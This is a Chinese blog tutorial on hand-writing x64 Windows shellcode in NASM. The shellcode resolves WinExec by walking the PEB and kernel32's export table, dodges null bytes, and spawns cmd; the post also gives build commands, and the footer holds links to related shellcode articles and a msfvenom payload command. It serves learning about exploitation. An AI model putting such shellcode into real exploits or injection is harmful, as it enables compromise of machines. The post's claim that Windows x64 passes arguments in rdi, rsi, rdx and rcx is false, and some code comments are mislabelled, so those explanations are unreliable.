Windows 10_X64环境shellcode编写

最新推荐文章于 2024-05-15 10:08:18 发布
置顶 最新推荐文章于 2024-05-15 10:08:18 发布
阅读量2.1k 收藏 10
点赞数 5
分类专栏： C/C++ 渗透 汇编 文章标签： 安全 渗透测试
1
本文链接：https://blog.csdn.net/weixin_43815930/article/details/109864686
版权
C/C++ 同时被 3 个专栏收录
23 篇文章 3 订阅
订阅专栏
渗透
22 篇文章 1 订阅
订阅专栏
汇编
3 篇文章 0 订阅
订阅专栏

环境

  • windows 10_x64
  • windbg_x64
  • x64dbg
  • nasm
  • 适用于 VS 2017 的 x64 本机工具命令提示（安装visual studio会自带）
  • redasm

shellcode

shellcode是一段用于利用软件漏洞而执行的代码，shellcode为16进制的机器码，因为经常让攻击者获得shell而得名。shellcode常常使用机器语言/汇编编写。 可在暂存器eip溢出后，塞入一段可让CPU执行的shellcode机器码，让电脑可以执行攻击者的任意指令。
虽然现在的操作系统都带有__security_cookie或者栈不可执行等安全措施，但是shellcode依然有广阔的利用空间，比如远线程注入后执行任意代码之类。

nasm_x64汇编

先来说说x64与x86汇编的几个主要的不同点：
首先自然是寻址范围的扩大，其次是寄存器的变更，64位汇编中寄存器除了段寄存器外，其余的都是64位，即8字节，所以栈结构的入栈和出栈字节数都要求模8。eax等几个常见寄存器也变成了rax、rbx、rcx…等，但eax这些寄存器并没有作废，而是将其作为访问rax等寄存器低32位的寄存器，其大致关系
在这里插入图片描述
除此之外还增加了r8、r9、r10、r12、r13、r14、r15寄存器，他们的低32位使用r’数字’d的形式进行访问，比如r8d就是访问r8寄存器的低32位，而低16位则用r‘数字’w的形式进行访问，除此之外还有一些指令上的变更此处不做详解。

汇编源文件编写

实现过程
首先应该了解一下nasm编译器的语法规则：[Intel汇编-NASM]基本语法
然后在redasm下新建一个源文件，值得一提的是redasm其实是一个集成IDE但是我个人不太喜欢它集成的功能，所以对于我而言只是把它当作一个编辑器，然后新建的源文件大致如下

global start
section .text
start:

global用于指定程序入口点
section .text定义指令段
start:之后便是我们要编写的代码，因为只是shellcode，所以追求简洁一点，就不去过多的定义段了

首先我们要明确我们shellcode的功能是什么，在这里我就简单使用WinExec函数弹出一个新的cmd。然后我们要知道如何在汇编层面调用winapi，我们知道在linux可以使用“syscall+中断”结合的方式轻易的调用操作系统提供给我们的系统调用，但windows不一样他需要一系列复杂的操作：

我们需要先访问到TEB，这里我使用x64架构的系统进行演示，但要注意x86在偏移上存在一定不同在这里插入图片描述

然后我们想要找到PEB结构体，在x64架构系统下它在TEB结构体的0x60偏移处
然后我们需要找到PEB结构体中的Ldr成员，他是一个_PEB_LDR_DATA类型的结构体变量在这里插入图片描述

  • 在这里插入图片描述
    注意0x10、0x20、0x30三处偏移：

  • InLoadOrderModuleList是按照加载顺序排列的模块

  • InMemoryOrderModuleList是按照内存顺序排列的模块

  • InInitializationOrderModuleList是按初始化的顺序排列的列表

我们可以通过他们三个中的任意一个来获取我们所需要的函数所在的dll模块
然后使用!peb来查看dll模块在InMemoryOrderModuleList中的排列顺序之后我们也将通过InMemoryOrderModuleList来获取我们所需要的dll模块
在这里插入图片描述
找到我们所需要的dll模块后我们只需要再去解析pe文件，解析找到我们所需要函数的导出符号表内容的地址与导出表功能地址然后传参调用即可。
代码实现
首先我们需要明确WinExec函数位于kernel32.dll中所以我们需要找到它
然后我们来找到TEB与PEB这部分我们可以通过fs(x86下)与gs(x64下)段寄存器来完成

		xor r8,r8
		xor rcx,rcx
		xor r10,r10
		add r10,60h						;直接gs:60h的话在转换成机器码时会出现00导致shellcode截断
		mov rax,[gs:r10]				;找到PEB,rax=PEB

gs默认指向TEB在x64下PEB位于TEB的0x60偏移处，x86不是这个偏移具体是多少我忘记了，可以自行使用windbg查看。
找到了PEB我们需要再找到Ldr与Ldr中的InMemoryOrderModuleList成员以便我们找到我们需要的kernel32.dll

		xor r8,r8
		xor rcx,rcx
		xor r10,r10
		add r10,60h						;直接gs:60h的话在转换成机器码时会出现00导致shellcode截断
		
		mov rax,[gs:r10]				;找到PEB,rax=PEB
		mov rax,[rax+18h]				;rax = PEB->Ldr
		mov rsi,[rax+20h]				;rsi = PEB->Ldr.InMemoryOrderModuleList

接下来我们需要开始找kernel32.dll的基址了，根据刚才再windbg中查看到的InMemoryOrderModuleList一开始指向的第一个模块是进程本身，第二个模块是ntdll.dll，第三个模块便是我们要找的kernel32.dll

		xor r8,r8
		xor rcx,rcx
		xor r10,r10
		add r10,60h						;直接gs:60h的话在转换成机器码时会出现00导致shellcode截断
		
		mov rax,[gs:r10]				;找到PEB,rax=PEB
		mov rax,[rax+18h]				;rax = PEB->Ldr
		mov rsi,[rax+20h]				;rsi = PEB->Ldr.InMemoryOrderModuleList
		lodsq							;获取ntdlll.dll模块			
		xchg rax,rsi					;交换rax与rsi的值
		lodsq							;获取kernel32.dll模块
		mov rbx,[rax+20h]				;获取kernel32.dll的基址

现在我们获取到了kernel32.dll的基址我们需要解析这个PE文件来获取导出符号表的位置来循环查找WinExec函数

		xor r8,r8
		xor rcx,rcx
		xor r10,r10
		add r10,60h						;直接gs:60h的话在转换成机器码时会出现00导致shellcode截断
		
		mov rax,[gs:r10]				;找到PEB,rax=PEB
		mov rax,[rax+18h]				;rax = PEB->Ldr
		mov rsi,[rax+20h]				;rsi = PEB->Ldr.InMemoryOrderModuleList
		lodsq							;获取ntdlll.dll模块			
		xchg rax,rsi					;交换rax与rsi的值
		lodsq							;获取kernel32.dll模块
		mov rbx,[rax+20h]				;获取kernel32.dll的基址

										;rbx=kernnel32.dll的基址，e_lfanew指向PE头，解析kernel32.dll的PE结构
		xor r8,r8						;异或将r8寄存器中每一位都清0
		mov r8d,[rbx+3ch]				;R8D = Dos Header-> e_lfanew偏移量,因为Dos Header-> e_lfanew只占四个字节
		xor rdx,rdx
		mov rdx,r8						;rdx = r8 = Dos Header-> e_lfanew
		add rdx,rbx						;kernel32.dll基址+e_lfanew，rdx=PE Header
		mov rax,0ffffffffffffffffh		;直接mov rax,88h可能会导致出现好几个字节的0
		sub rax,0ffffffffffffff77h		;使用减法让rax等于88h
		mov r8d,[rdx+rax]				;导出表偏移地址存在位置88h，此地址为4字节
		add r8,rbx						;基址+偏移=导出表的物理地址

现在找到了导出表，我们还要找到导出表的名称表，名称表里存着函数名，我们需要遍历这些函数名来找到符合我们需求的函数

		xor r8,r8
		xor rcx,rcx
		xor r10,r10
		add r10,60h						;直接gs:60h的话在转换成机器码时会出现00导致shellcode截断
		
		mov rax,[gs:r10]				;找到PEB,rax=PEB
		mov rax,[rax+18h]				;rax = PEB->Ldr
		mov rsi,[rax+20h]				;rsi = PEB->Ldr.InMemoryOrderModuleList
		lodsq							;获取ntdlll.dll模块			
		xchg rax,rsi					;交换rax与rsi的值
		lodsq							;获取kernel32.dll模块
		mov rbx,[rax+20h]				;获取kernel32.dll的基址

										;rbx=kernnel32.dll的基址，e_lfanew指向PE头，解析kernel32.dll的PE结构
		xor r8,r8						;异或将r8寄存器中每一位都清0
		mov r8d,[rbx+3ch]				;R8D = Dos Header-> e_lfanew偏移量,因为Dos Header-> e_lfanew只占四个字节
		xor rdx,rdx
		mov rdx,r8						;rdx = r8 = Dos Header-> e_lfanew
		add rdx,rbx						;kernel32.dll基址+e_lfanew，rdx=PE Header
		mov rax,0ffffffffffffffffh		;直接mov rax,88h可能会导致出现好几个字节的0
		sub rax,0ffffffffffffff77h		;使用减法让rax等于88h
		mov r8d,[rdx+rax]				;导出表偏移地址存在位置88h，此地址为4字节
		add r8,rbx						;基址+偏移=导出表的物理地址
		xor rsi,rsi						;异或将rsi寄存器每一位都清0
		mov esi,[r8+20h]				;获取导出表名称表偏移地址，此地址为4字节
		add rsi,rbx						;获取导出表名称表的物理地址
		xor rcx,rcx						;清空rcx寄存器,用于作为循环遍历的下标
		mov r9d,456e6957h;				;r9d寄存器赋值为字符串WinE(倒叙放入)

r9d用于存放我们要找的函数的前四个字节，我们之后需要用这四个字节的内容去跟循环中当前所获取到的函数名的前四个字节去进行比较，如果一致则认为找到我们所需的函数。
然后我们开始循环遍历

		xor r8,r8
		xor rcx,rcx
		xor r10,r10
		add r10,60h						;直接gs:60h的话在转换成机器码时会出现00导致shellcode截断
		
		mov rax,[gs:r10]				;找到PEB,rax=PEB
		mov rax,[rax+18h]				;rax = PEB->Ldr
		mov rsi,[rax+20h]				;rsi = PEB->Ldr.InMemoryOrderModuleList
		lodsq							;获取ntdlll.dll模块			
		xchg rax,rsi					;交换rax与rsi的值
		lodsq							;获取kernel32.dll模块
		mov rbx,[rax+20h]				;获取kernel32.dll的基址

										;rbx=kernnel32.dll的基址，e_lfanew指向PE头，解析kernel32.dll的PE结构
		xor r8,r8						;异或将r8寄存器中每一位都清0
		mov r8d,[rbx+3ch]				;R8D = Dos Header-> e_lfanew偏移量,因为Dos Header-> e_lfanew只占四个字节
		xor rdx,rdx
		mov rdx,r8						;rdx = r8 = Dos Header-> e_lfanew
		add rdx,rbx						;kernel32.dll基址+e_lfanew，rdx=PE Header
		mov rax,0ffffffffffffffffh		;直接mov rax,88h可能会导致出现好几个字节的0
		sub rax,0ffffffffffffff77h		;使用减法让rax等于88h
		mov r8d,[rdx+rax]				;导出表偏移地址存在位置88h，此地址为4字节
		add r8,rbx						;基址+偏移=导出表的物理地址
		xor rsi,rsi						;异或将rsi寄存器每一位都清0
		mov esi,[r8+20h]				;获取导出表名称表偏移地址，此地址为4字节
		add rsi,rbx						;获取导出表名称表的物理地址
		xor rcx,rcx						;清空rcx寄存器,用于作为循环遍历的下标
		mov r9d,456e6957h;				;r9d寄存器赋值为字符串WinE(倒叙放入)
										;获取WinExec函数
		GetFun:							;循环遍历获取函数
			inc rcx						;rcx++
			xor rax,rax					;rax清0，用于存放函数名的物理地址
			mov eax,[rsi+rcx*4h]		;获取一个函数名称偏移地址，此地址为4字节
			add rax,rbx					;获取函数名称物理地址
			cmp dword [rax],r9d			;让dword[rax],r9d相减，但不保存结果只置标志位，相当于比较两值是否相同
			jnz GetFun					;如果标志位不为0则跳转，结合上面，相当于不相同则跳转

这个循环结束后就可以找到我们的函数名称表的位置了，光找到函数名还没有用，我们需要找到此函数确切的功能实现代码所在的地址

		xor r8,r8
		xor rcx,rcx
		xor r10,r10
		add r10,60h						;直接gs:60h的话在转换成机器码时会出现00导致shellcode截断
		
		mov rax,[gs:r10]				;找到PEB,rax=PEB
		mov rax,[rax+18h]				;rax = PEB->Ldr
		mov rsi,[rax+20h]				;rsi = PEB->Ldr.InMemoryOrderModuleList
		lodsq							;获取ntdlll.dll模块			
		xchg rax,rsi					;交换rax与rsi的值
		lodsq							;获取kernel32.dll模块
		mov rbx,[rax+20h]				;获取kernel32.dll的基址

										;rbx=kernnel32.dll的基址，e_lfanew指向PE头，解析kernel32.dll的PE结构
		xor r8,r8						;异或将r8寄存器中每一位都清0
		mov r8d,[rbx+3ch]				;R8D = Dos Header-> e_lfanew偏移量,因为Dos Header-> e_lfanew只占四个字节
		xor rdx,rdx
		mov rdx,r8						;rdx = r8 = Dos Header-> e_lfanew
		add rdx,rbx						;kernel32.dll基址+e_lfanew，rdx=PE Header
		mov rax,0ffffffffffffffffh		;直接mov rax,88h可能会导致出现好几个字节的0
		sub rax,0ffffffffffffff77h		;使用减法让rax等于88h
		mov r8d,[rdx+rax]				;导出表偏移地址存在位置88h，此地址为4字节
		add r8,rbx						;基址+偏移=导出表的物理地址
		xor rsi,rsi						;异或将rsi寄存器每一位都清0
		mov esi,[r8+20h]				;获取导出表名称表偏移地址，此地址为4字节
		add rsi,rbx						;获取导出表名称表的物理地址
		xor rcx,rcx						;清空rcx寄存器,用于作为循环遍历的下标
		mov r9d,456e6957h;				;r9d寄存器赋值为字符串WinE(倒叙放入)
										;获取WinExec函数
		GetFun:							;循环遍历获取函数
			inc rcx						;rcx++
			xor rax,rax					;rax清0，用于存放函数名的物理地址
			mov eax,[rsi+rcx*4h]		;获取一个函数名称偏移地址，此地址为4字节
			add rax,rbx					;获取函数名称物理地址
			cmp dword [rax],r9d			;让dword[rax],r9d相减，但不保存结果只置标志位，相当于比较两值是否相同
			jnz GetFun					;如果标志位不为0则跳转，结合上面，相当于不相同则跳转

		xor rsi,rsi						;rsi清0，用于存放普通表的物理地址
		mov esi,[r8+24h]				;获取导出表中普通表的偏移，此地址为4字节
		add rsi,rbx						;偏移+基址=物理地址
		mov cx,[rsi+rcx*2h]				;功能的数量，此地址为2字节
		xor rsi,rsi						;rsi寄存器清0,用于存放偏移地址表的物理地址
		mov esi,[r8+1ch]				;导出表偏移地址表的偏移地址，此地址为4字节
		add rsi,rbx					;求出偏移地址表的物理地址
		xor rdx,rdx					;清空rdx，用于存放函数功能的物理地址
		mov edx,[rsi+rcx*4]				;获取到函数功能的偏移地址，此地址为4字节
		add rdx,rbx					;获取到物理地址
		mov rdi,rdx					;rdi=rdx

现在万事俱备只欠东风了，我们只要去传参后调用函数就好了

		xor r8,r8
		xor rcx,rcx
		xor r10,r10
		add r10,60h						;直接gs:60h的话在转换成机器码时会出现00导致shellcode截断
		
		mov rax,[gs:r10]				;找到PEB,rax=PEB
		mov rax,[rax+18h]				;rax = PEB->Ldr
		mov rsi,[rax+20h]				;rsi = PEB->Ldr.InMemoryOrderModuleList
		lodsq							;获取ntdlll.dll模块			
		xchg rax,rsi					;交换rax与rsi的值
		lodsq							;获取kernel32.dll模块
		mov rbx,[rax+20h]				;获取kernel32.dll的基址

										;rbx=kernnel32.dll的基址，e_lfanew指向PE头，解析kernel32.dll的PE结构
		xor r8,r8						;异或将r8寄存器中每一位都清0
		mov r8d,[rbx+3ch]				;R8D = Dos Header-> e_lfanew偏移量,因为Dos Header-> e_lfanew只占四个字节
		xor rdx,rdx
		mov rdx,r8						;rdx = r8 = Dos Header-> e_lfanew
		add rdx,rbx						;kernel32.dll基址+e_lfanew，rdx=PE Header
		mov rax,0ffffffffffffffffh		;直接mov rax,88h可能会导致出现好几个字节的0
		sub rax,0ffffffffffffff77h		;使用减法让rax等于88h
		mov r8d,[rdx+rax]				;导出表偏移地址存在位置88h，此地址为4字节
		add r8,rbx						;基址+偏移=导出表的物理地址
		xor rsi,rsi						;异或将rsi寄存器每一位都清0
		mov esi,[r8+20h]				;获取导出表名称表偏移地址，此地址为4字节
		add rsi,rbx						;获取导出表名称表的物理地址
		xor rcx,rcx						;清空rcx寄存器,用于作为循环遍历的下标
		mov r9d,456e6957h;				;r9d寄存器赋值为字符串WinE(倒叙放入)
										;获取WinExec函数
		GetFun:							;循环遍历获取函数
			inc rcx						;rcx++
			xor rax,rax					;rax清0，用于存放函数名的物理地址
			mov eax,[rsi+rcx*4h]		;获取一个函数名称偏移地址，此地址为4字节
			add rax,rbx					;获取函数名称物理地址
			cmp dword [rax],r9d			;让dword[rax],r9d相减，但不保存结果只置标志位，相当于比较两值是否相同
			jnz GetFun					;如果标志位不为0则跳转，结合上面，相当于不相同则跳转

		xor rsi,rsi						;rsi清0，用于存放普通表的物理地址
		mov esi,[r8+24h]				;获取导出表中普通表的偏移，此地址为4字节
		add rsi,rbx						;偏移+基址=物理地址
		mov cx,[rsi+rcx*2h]				;功能的数量，此地址为2字节
		xor rsi,rsi						;rsi寄存器清0,用于存放偏移地址表的物理地址
		mov esi,[r8+1ch]				;导出表偏移地址表的偏移地址，此地址为4字节
		add rsi,rbx						;求出偏移地址表的物理地址
		xor rdx,rdx						;清空rdx，用于存放函数功能的物理地址
		mov edx,[rsi+rcx*4]				;获取到函数功能的偏移地址，此地址为4字节
		add rdx,rbx						;获取到物理地址
		mov rdi,rdx						;rdi=rdx

										;调用WinExec函数
		mov rax,0ffffffffffffffffh		;直接传入cmd字符串的ascii码会导致0截断
		sub rax,0ffffffffff9b929ch		;所以使用相减的方法
		push rax						;字符串cmd入栈
		mov rcx,rsp						;获取到字符串cmd的内存地址，rcx寄存器对应第一个参数
		inc rdx							;rdx寄存器对应函数的第2个参数
		call rdi 						;调用WinExec("cmd", 1)

这里要大概知晓一下函数参数与寄存器之间的对应关系：

  • rdi：第一个参数
  • rsi：第二个参数
  • rdx：第三个参数
  • rcx：第四个参数
  • r8：第五个参数
  • r9：第六个参数
  • 大于六个参数后的参数通过push入栈的方式传参，顺序是从右往左

因为WinExec只有两个参数，而在这里rdi与rsi已经被我们用了所以我们需要使用rdx与rcx来进行传参
在这里编译后会发现程序还是无法正常运行，那是因为我们没有给我们的程序分配足够的栈区进行数据的储存，除此之外还应该对rbp等寄存器的原值进行保存在程序执行完后再恢复保证进程不会崩掉，使用完整的代码应该如下

;__author__：Pluviophile
;__email__ ：1565203609@qq.com
;__date__  ：2020/11/18

;调用WinExec打开一个新的cmd
;X86架构机器下PEB结构位于0x30偏移位置，Ldr位于0x0c偏移
;X64架构机器下PEB结构位于0x60偏移位置，Ldr位于0x18偏移
;其他具体的结构体偏移不同的请自行使用windbg观察
;寄存器作用：rbx存放kernel32.dll基址，rsi存放导出表中名称表的物理地址,r8存放导出表物理地址
;注意:偏移地址都为4字节

global start
section .text
start:
		push rax 						;寄存器保留原值
		push rcx
		push rdx
		push rbx
		push rsi
		push rdi
		push rbp			
										;获取kernel32.dll基址
		sub rsp,28h						;开辟栈区
		xor r8,r8
		xor rcx,rcx
		xor r10,r10
		add r10,60h						;直接gs:60h的话在转换成机器码时会出现00导致shellcode截断
		
		mov rax,[gs:r10]				;找到PEB,rax=PEB
		mov rax,[rax+18h]				;rax = PEB->Ldr
		mov rsi,[rax+20h]				;rsi = PEB->Ldr.InMemoryOrderModuleList
		lodsq							;获取ntdlll.dll模块			
		xchg rax,rsi					;交换rax与rsi的值
		lodsq							;获取kernel32.dll模块
		mov rbx,[rax+20h]				;获取kernel32.dll的基址

										;rbx=kernnel32.dll的基址，e_lfanew指向PE头，解析kernel32.dll的PE结构
		xor r8,r8						;异或将r8寄存器中每一位都清0
		mov r8d,[rbx+3ch]				;R8D = Dos Header-> e_lfanew偏移量,因为Dos Header-> e_lfanew只占四个字节
		xor rdx,rdx
		mov rdx,r8						;rdx = r8 = Dos Header-> e_lfanew
		add rdx,rbx						;kernel32.dll基址+e_lfanew，rdx=PE Header
		mov rax,0ffffffffffffffffh		;直接mov rax,88h可能会导致出现好几个字节的0
		sub rax,0ffffffffffffff77h		;使用减法让rax等于88h
		mov r8d,[rdx+rax]				;导出表偏移地址存在位置88h，此地址为4字节
		add r8,rbx						;基址+偏移=导出表的物理地址
		xor rsi,rsi						;异或将rsi寄存器每一位都清0
		mov esi,[r8+20h]				;获取导出表名称表偏移地址，此地址为4字节
		add rsi,rbx						;获取导出表名称表的物理地址
		xor rcx,rcx						;清空rcx寄存器,用于作为循环遍历的下标
		mov r9d,456e6957h;				;r9d寄存器赋值为字符串WinE(倒叙放入)

										;获取WinExec函数
		GetFun:							;循环遍历获取函数
			inc rcx						;rcx++
			xor rax,rax					;rax清0，用于存放函数名的物理地址
			mov eax,[rsi+rcx*4h]		;获取一个函数名称偏移地址，此地址为4字节
			add rax,rbx					;获取函数名称物理地址
			cmp dword [rax],r9d			;让dword[rax],r9d相减，但不保存结果只置标志位，相当于比较两值是否相同
			jnz GetFun					;如果标志位不为0则跳转，结合上面，相当于不相同则跳转
		xor rsi,rsi						;rsi清0，用于存放普通表的物理地址
		mov esi,[r8+24h]				;获取导出表中普通表的偏移，此地址为4字节
		add rsi,rbx						;偏移+基址=物理地址
		mov cx,[rsi+rcx*2h]				;功能的数量，此地址为2字节
		xor rsi,rsi						;rsi寄存器清0,用于存放偏移地址表的物理地址
		mov esi,[r8+1ch]				;导出表偏移地址表的偏移地址，此地址为4字节
		add rsi,rbx						;求出偏移地址表的物理地址
		xor rdx,rdx						;清空rdx，用于存放函数功能的物理地址
		mov edx,[rsi+rcx*4]				;获取到函数功能的偏移地址，此地址为4字节
		add rdx,rbx						;获取到物理地址
		mov rdi,rdx						;rdi=rdx

										;调用WinExec函数
		mov rax,0ffffffffffffffffh		;直接传入cmd字符串的ascii码会导致0截断
		sub rax,0ffffffffff9b929ch		;所以使用相减的方法
		push rax						;字符串cmd入栈
		mov rcx,rsp						;获取到字符串cmd的内存地址，rcx寄存器对应第一个参数
		inc rdx							;rdx寄存器对应函数的第2个参数
		call rdi 						;调用WinExec("cmd", 1)

		add rsp,28h						;回收栈区
		pop rbp 						;恢复原有寄存器值
		pop rdi
		pop rsi
		pop rbx
		pop rdx
		pop rcx
		pop rax

		retn

**

编译链接

**

现在开始编译连接，安装好nasm后将其写入默认系统路径，然后再visual studio的安装目录下找到“适用于 VS 2017 的 x64 本机工具命令提示”，一般在vs安装好后在开始菜单的目录里就可以找到，因为我们使用x64编译，所以选择x64版本
在这里插入图片描述
编译：

nasm -f win64 a2.asm -o a2.obj

-f用于指定架构类型，可以是win64、win32、elf等
a2.asm就是我们刚刚写好的源文件，a2.obj就是即将要生成的目标文件
链接：

link /entry:start /MACHINE:X64 /NODEFAULTLIB /SUBSYSTEM:CONSOLE a2.obj

link是vs安装后默认自带的连接器，
/entry指定了程序入口
/SUBSYSTEM指定的程序类型，控制台或者窗口程序
a2.obj是刚生成的目标文件，默认他会生成一个与目标文件同名的exe执行文件。

然后程序正常执行弹出cmd，然后我们只需要使用x64dbg来获取机器码即可，在编写程序调试程序的过程中x64dbg也会发挥很大的作用，使用编写shellcode不但要对汇编语言具有一定的了解，还要熟练的使用x64dbg与windbg等调试软件。在这里插入图片描述
除此以外肯定还会有人存在疑问：如果我在shellcode里调用的函数不在进程默认加载的模块中，例如system函数就在msvcrt.dll中怎么办？
其实这样也好办，只不过代码就会变得比较长而已，我们可以先从kernel32.dll中获取到GetProcAddress函数用它去加载LoadLibrary函数，然后再用LoadLibrary函数去加载我们需要的dll模块，最后再用遍历的方式从LoadLibrary函数返回的值也就是那个被加载模块的基址开始去找到我们需要的函数即可，顺带再提一句在x64汇编中返回值通常都会被放入rax寄存器，我们可以在调用完函数后通过rax寄存器拿到函数的返回值。

Anansi_safe
关注
  • 5
    点赞
  • 踩
  • 10
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
专栏目录
win10下shell入门学习（一）
zsx18273117003的博客
05-08 1547
注：windows出厂时没有内置shell解释器，需要自行安装，为了同时能用grep, awk, curl，此处选择安装Cygwin 一、安装Cygwin 1.下载安装程序：https://www.cygwin.com/ 2 .执行安装程序，下载镜像失败 3. 添加镜像地址：http://mirrors.163.com/cygwin/ http://mirrors.neusof...
VS2010中编写x64汇编的具体方法.docx
12-30
在Visual Studio 2010（VS2010）中编写针对x64架构的汇编代码，由于微软在x64模式下不再支持内联汇编，我们需要采取一些变通方法。以下是一个详细步骤的指导，帮助你在VS2010中编写并编译x64汇编代码。 首先，你...
渗透工具ShellcodeTemplate:适用于 Windows x64/x86 的易于修改的 shellcode 模板
学习、分享、交流
05-11 323
适用于 Windows x64/x86 的易于修改的代码模板
探索Windows Shellcode运行器：go-shellcode
最新发布
gitblog_00090的博客
05-15 233
探索Windows Shellcode运行器：go-shellcode 项目地址:https://gitcode.com/Ne0nd0g/go-shellcode 项目介绍 go-shellcode 是一个专注于Windows平台的Shellcode运行器和相关工具的开源库。它提供了多种API调用和技术，允许你在不同的场景下加载并执行Shellcode，避免了传统远程进程注入的方法。这个项目包括多...
X86,X64Shellcode框架
qq_40363731的博客
03-27 259
【代码】X86,X64Shellcode框架。
X64汇编 shellcode
qq_31314583的博客
08-17 257
注意对其16字节，因此需要rsp+8对其，其次前四个参数由 rcx,rdx,r8,r9传递。
linux手写x64的shellcode
小小鱼的博客
08-25 1171
编写汇编代码 下面的代码实现的是执行 execve("/bin/sh") 命令，rax寄存器存放execve的系统调用编号，rdi存放的是execve的参数： section .text global _start _start: push rax xor rdx, rdx xor rsi, rsi mov rbx,'/bin//sh' push rbx push rsp pop rdi mov al, 59 syscall 关于x64的系统调用表可参考如下博文： https://blog.csdn.ne
X64 ShellCode 介绍（翻译）
商少
07-24 2176
X64 ShellCode 介绍（翻译）原文链接 http://mcdermottcybersecurity.com/articles/windows-x64-shellcode介绍       Shellcode是指通过缓冲区溢出类型的安全漏洞将其注入到进程的内存中之后执行的可执行机器代码（以及任何相关数据）。该术语来自早期的一种情况“针对unix 平台的早期攻击中，攻击者通常会执行‘启动she
内核线程注入x64
11-22
本文将深入探讨在64位Windows 7环境下，如何利用驱动程序实现内核线程注入。 首先，我们要了解的是“Ring0”级别。在计算机操作系统中，Ring0代表最高权限的运行级别，它拥有对硬件的直接访问权，是操作系统内核的...
rs_shellcode:另一个shellcode运行器
05-23
msfvenom -p windows/x64/exec CMD=calc.exe --platform win -f raw -o calc64.raw 建造： cargo build 用法： rs_shellcode USAGE: rs_shellcode.exe [FLAGS] [OPTIONS] -f FLAGS: -b set breakpoint in ...
rust-windows-shellcode:Rust中的Windows Shellcode开发
03-05
用Rust编写Windows Shellcode 项目概况 Windows shellcode项目位于shellcode/ ，它可以构建为仅包含.text节的PE文件，并且没有外部依赖项。 然后，我们可以转储.text节并进行一些修补以使其与位置无关。 这个想法...
shellcode_generator:shellcode，生成器，Visual Studio，C ++，Windows
03-09
在Windows环境中，shellcode通常与x86或x64架构相关联，这取决于目标系统。C++是一种高级编程语言，它可以生成汇编级别的代码，并且在Windows开发中广泛使用，特别是因为它与Microsoft Visual Studio IDE紧密集成。...
WinREPL：适用于Windows的x86和x64程序集“ read-eval-print loop”外壳
02-05
WinREPL是一款专为Windows平台设计的x86和x64程序集调试工具，它提供了"read-eval-print loop"（REPL）环境。在编程领域，REPL是一种交互式编程模型，允许用户输入代码，立即执行并查看结果，这对于测试、调试以及...
UnModule_shellcode_Inject:无模块注入工程 VS2008
04-29
这是一个使用VS2008生成的编写x64位shellcode的框架。 在shellcode主代码中，按照内存对齐大小，将dll在内存中进行展开，修复导入表，修复重定位，根据导出表，寻找dll中函数的地址，调用指定dll的函数。 ==========...
Shellcode-Generater:没有内联的asm，支持x86x64
05-15
Shellcode生成器 使用C编写Windows Shellcode的练习： 没有内联汇编 支持x86 / x64 由3gstudent @ 3gstudent创建 要做的更多： 需要结合子功能（完成。请参见shellcodenew.cpp） 学习形式： 更多细节：
gld:进入Shellcode LoaDer
05-24
我编写了一个包含更多规避技术的私有框架，将来可能会公开用法首先通过CS / MSF生成shellcode，然后使用gld编译包装的二进制文件： ./gld shellcode.bin [x64/x86]科技类装载机Shellcode通过AES-GCM加密，它将被...
64位shellcode编程(不错) Windows x64 Shellcode
多媒体编程、网络编程、系统编程、网络安全编程、驱动编程
12-06 3997
原文链接:http://mcdermottcybersecurity.com/articles/windows-x64-shellcode Windows x64 Shellcode January 11, 2011 Contents Introduction RIP-Relative Addressing API Lookup
windows shellcode 总结
weixin_34267123的博客
12-03 239
说到shellcode可能都有些迷茫，不知它是什么东西，可能觉得也很神秘，对于它的专业解释也很少有人提及，今天我们就从以下几个方面来对windows下的shellcode做一个全剖析: 1. shellcode的发展历史以及定义 2. 现今常见的windows下的shellcode种类 3. 编写shellcode流程 4. shellocode举例 5、shell...
Linux x86_64 shellcode的编写
小立仔
07-06 1298
Linux x86_64 shellcode的编写
ARM汇编基础与Shellcode编写实战
"这篇文档是关于在ARM平台上编写汇编语言SHELLCODE的教程，适合初学者入门。它涵盖了ARM汇编基础、常用指令、模式切换、地址计算、分支指令，以及如何编写ARM Shellcode，包括系统调用、参数映射、逆向工程等实践...
评论 1
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值